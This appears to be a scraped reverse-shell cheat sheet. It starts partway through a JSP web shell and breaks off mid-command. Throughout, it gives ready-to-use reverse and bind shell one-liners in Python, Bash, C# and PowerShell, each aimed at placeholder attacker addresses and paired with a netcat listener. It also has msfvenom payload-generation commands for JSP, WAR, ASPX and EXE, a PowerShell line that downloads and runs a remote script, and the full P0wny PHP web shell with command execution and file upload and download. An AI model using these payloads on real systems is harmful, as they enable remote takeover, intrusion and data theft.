p = Runtime.getRuntime().exec("/bin/sh -c " + request.getParameter("shell"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
// TCP PORT PART
class StreamConnector extends Thread
{
InputStream wz;
OutputStream yr;
StreamConnector( InputStream wz, OutputStream yr ) {
this.wz = wz;
this.yr = yr;
}
public void run()
{
BufferedReader r = null;
BufferedWriter w = null;
try
{
r = new BufferedReader(new InputStreamReader(wz));
w = new BufferedWriter(new OutputStreamWriter(yr));
char buffer[] = new char[8192];
int length;
while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 )
{
w.write( buffer, 0, length );
w.flush();
}
} catch( Exception e ){}
try
{
if( r != null )
r.close();
if( w != null )
w.close();
} catch( Exception e ){}
}
}
try {
Socket socket = new Socket( "{LHOST}", {LPORT} ); // Replace with wanted ip and port
Process process = Runtime.getRuntime().exec( shellPath );
new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();
out.println("port opened on " + socket);
} catch( Exception e ) {}
%>
</pre>
</body>
</html>Listener:
nc -lvnp {LPORT}Windows Staged JSP Reverse TCP
MSFVenom shell for Windows. Generate staged or stageless Metasploit binary payload.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f jsp -o ./rev.jspListener:
nc -lvnp {LPORT}JSP Stageless Reverse TCP
MSFVenom shell for Both. Generate staged or stageless Metasploit binary payload.
msfvenom -p java/jsp_shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f raw -o shell.jspListener:
nc -lvnp {LPORT}WAR Stageless Reverse TCP
MSFVenom shell for Both. Generate staged or stageless Metasploit binary payload.
msfvenom -p java/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f war -o shell.warListener:
nc -lvnp {LPORT}PentestMonkey Java Runtime Exec
PentestMonkey shell for Both. PentestMonkey Java exec connector.
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{LHOST}/{LPORT};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor()Listener:
nc -lvnp {LPORT}
Python reverse shells
Python #1
Reverse shell for Linux
export RHOST="{LHOST}";export RPORT={LPORT};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'Listener:
nc -lvnp {LPORT}Python #2
Reverse shell for Linux
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{LHOST}",{LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'Listener:
nc -lvnp {LPORT}Python3 #1
Reverse shell for Linux
export RHOST="{LHOST}";export RPORT={LPORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'Listener:
nc -lvnp {LPORT}Python3 #2
Reverse shell for Linux
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{LHOST}",{LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'Listener:
nc -lvnp {LPORT}Python3 Windows
Reverse shell for Windows
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("{LHOST}",{LPORT}))
p=subprocess.Popen(["/bin/bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()Listener:
nc -lvnp {LPORT}Python3 shortest
Reverse shell for Linux
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{LHOST}",{LPORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'Listener:
nc -lvnp {LPORT}Python3 Bind
Bind shell for Both. Attacker connects to listening target port via netcat.
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",{LPORT}));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'Listener:
nc -nv {LHOST} {LPORT}Python Stageless Reverse TCP
MSFVenom shell for Both. Generate staged or stageless Metasploit binary payload.
msfvenom -p cmd/unix/reverse_python LHOST={LHOST} LPORT={LPORT} -f rawListener:
nc -lvnp {LPORT}PentestMonkey Classic Python One-Liner
PentestMonkey shell for Both. Classic PentestMonkey Python spawn socket.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{LHOST}",{LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'Listener:
nc -lvnp {LPORT}
Bash reverse shells
Bash -i
Reverse shell for Linux
/bin/bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1Listener:
nc -lvnp {LPORT}Bash 196
Reverse shell for Linux
0<&196;exec 196<>/dev/tcp/{LHOST}/{LPORT}; /bin/bash <&196 >&196 2>&196Listener:
nc -lvnp {LPORT}Bash read line
Reverse shell for Linux
exec 5<>/dev/tcp/{LHOST}/{LPORT};cat <&5 | while read line; do $line 2>&5 >&5; doneListener:
nc -lvnp {LPORT}Bash 5
Reverse shell for Linux
/bin/bash -i 5<> /dev/tcp/{LHOST}/{LPORT} 0<&5 1>&5 2>&5Listener:
nc -lvnp {LPORT}Bash udp
Reverse shell for Linux
/bin/bash -i >& /dev/udp/{LHOST}/{LPORT} 0>&1Listener:
nc -u -lvnp {LPORT}C# Bash -i
Reverse shell for Both
using System;
using System.Diagnostics;
namespace BackConnect {
class ReverseBash {
public static void Main(string[] args) {
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "/bin/bash";
proc.StartInfo.Arguments = "-c \"/bin/bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
while (!proc.StandardOutput.EndOfStream) {
Console.WriteLine(proc.StandardOutput.ReadLine());
}
}
}
}
Listener:
nc -lvnp {LPORT}Bash Stageless Reverse TCP
MSFVenom shell for Linux. Generate staged or stageless Metasploit binary payload.
msfvenom -p cmd/unix/reverse_bash LHOST={LHOST} LPORT={LPORT} -f raw -o shell.shListener:
nc -lvnp {LPORT}PentestMonkey Classic Bash One-Liner
PentestMonkey shell for Linux. Classic PentestMonkey cheat sheet #1 entry.
bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1Listener:
nc -lvnp {LPORT}
PowerShell reverse shells
Windows ConPty
Reverse shell for Windows. Spawns full interactive Windows console with ConPty terminal emulation.
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {LHOST} {LPORT}Listener:
stty raw -echo; (stty size; cat) | nc -lvnp {LPORT}PowerShell #1
Reverse shell for Both
$LHOST = "{LHOST}"; $LPORT = {LPORT}; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()Listener:
nc -lvnp {LPORT}PowerShell #2
Reverse shell for Both
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('{LHOST}',{LPORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Listener:
nc -lvnp {LPORT}PowerShell #3
Reverse shell for Both
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('{LHOST}', {LPORT});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"Listener:
nc -lvnp {LPORT}PowerShell #4 (TLS)
Reverse shell for Both
$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('{LHOST}', {LPORT});$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()Listener:
nc -lvnp {LPORT}PowerShell #3 (Base64)
Reverse shell for Both
PowerShell #3 (Base64)Listener:
nc -lvnp {LPORT}PowerShell #5 (stderr support) (Base64)
Reverse shell for Both
PowerShell #5 (stderr support) (Base64)Listener:
nc -lvnp {LPORT}P0wny Shell (Webshell)
Reverse shell for Both
<?php
$SHELL_CONFIG = array(
'username' => 'p0wny',
'hostname' => 'shell',
);
function expandPath($path) {
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
exec("echo $match[1]", $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function allFunctionExist($list = array()) {
foreach ($list as $entry) {
if (!function_exists($entry)) {
return false;
}
}
return true;
}
function executeCommand($cmd) {
$output = '';
if (function_exists('exec')) {
exec($cmd, $output);
$output = implode("\n", $output);
} else if (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
$handle = popen($cmd, 'r');
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
} else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
$handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
}
return $output;
}
function isRunningWindows() {
return stripos(PHP_OS, "WIN") === 0;
}
function featureShell($cmd, $cwd) {
$stdout = "";
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
chdir(expandPath("~"));
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir(expandPath($match[1]));
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
$stdout = executeCommand($cmd);
}
return array(
"stdout" => base64_encode($stdout),
"cwd" => base64_encode(getcwd())
);
}
function featurePwd() {
return array("cwd" => base64_encode(getcwd()));
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
foreach ($files as &$filename) {
$filename = base64_encode($filename);
}
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => base64_encode('File not found / no read permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
return array(
'name' => base64_encode(basename($filePath)),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => base64_encode('Invalid path / no write permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => base64_encode('Done.'),
'cwd' => base64_encode(getcwd())
);
}
}
function initShellConfig() {
global $SHELL_CONFIG;
if (isRunningWindows()) {
$username = getenv('USERNAME');
if ($username !== false) {
$SHELL_CONFIG['username'] = $username;
}
} else {
$pwuid = posix_getpwuid(posix_geteuid());
if ($pwuid !== false) {
$SHELL_CONFIG['username'] = $pwuid['name'];
}
}
$hostname = gethostname();
if ($hostname !== false) {
$SHELL_CONFIG['hostname'] = $hostname;
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
} else {
initShellConfig();
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
width: 100vw;
height: 100vh;
overflow: hidden;
}
*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}
#shell {
background: #222;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
max-width: calc(100vw - 2 * var(--shell-margin));
max-height: calc(100vh - 2 * var(--shell-margin));
resize: both;
overflow: hidden;
width: 100%;
height: 100%;
margin: var(--shell-margin) auto;
}
#shell-content {
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
:root {
--shell-margin: 25px;
}
@media (min-width: 1200px) {
:root {
--shell-margin: 50px !important;
}
}
@media (max-width: 991px),
(max-height: 600px) {
#shell-logo {
font-size: 6px;
margin: -25px 0;
}
:root {
--shell-margin: 0 !important;
}
#shell {
resize: none;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
@media (max-width: 320px) {
#shell-logo {
font-size: 5px;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
padding: 10px 0;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
box-sizing: border-box;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _defer(callback) {
setTimeout(callback, 0);
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(atob(response.name), response.file)
} else {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
data.files = data.files.map(function(file){
return atob(file);
});
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function featureDownload(name, file) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
function featureUpload(path) {
var element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
function getBase64(file, onLoadCallback) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = atob(response.cwd);
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
eShellCmdInput.focus();
});
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
document.onclick = function(event) {
event = event || window.event;
var selection = window.getSelection();
var target = event.target || event.srcElement;
if (target.tagName === "SELECT") {
return;
}
if (!selection.toString()) {
eShellCmdInput.focus();
}
};
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
</html>Listener:
nc -lvnp {LPORT}
Windows reverse shells
Windows Meterpreter Staged Reverse TCP (x64)
MSFVenom shell for Windows. Generate staged or stageless Metasploit binary payload.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f exe -o reverse.exeListener:
msfconsole -q -x "use exploit/multi/handler; set payload <payload>; set LHOST {LHOST}; set LPORT {LPORT}; run"Windows Meterpreter Stageless Reverse TCP (x64)
MSFVenom shell for Windows. Generate staged or stageless Metasploit binary payload.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f exe -o reverse.exeListener:
msfconsole -q -x "use exploit/multi/handler; set payload <payload>; set LHOST {LHOST}; set LPORT {LPORT}; run"Windows Staged Reverse TCP (x64)
MSFVenom shell for Windows. Generate staged or stageless Metasploit binary payload.
msfvenom -p windows/x64/shell/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f exe -o reverse.exeListener:
nc -lvnp {LPORT}Windows Stageless Reverse TCP (x64)
MSFVenom shell for Windows. Generate staged or stageless Metasploit binary payload.
msfvenom -p windows/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f exe -o reverse.exeListener:
nc -lvnp {LPORT}Windows Staged ASPX Reverse TCP
MSFVenom shell for Windows. Generate staged or stageless Metasploit binary payload.
msfvenom -p windows/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f aspx -o reverse.aspxListener:
nc -lvnp {LPORT}Windows Staged ASPX Reverse TCP (x64)
MSFVenom shell for Windows. Generate staged or stageless Metasploit binary payload.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={LHOST} LPORT={LPORT} -f aspx -o reverse.aspxListener:
nc -lvnp {LPORT}Windows Bind TCP ShellCode - BOF
MSFVenom shell for Both. Generate staged or stageless Metasploit binary payload.
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '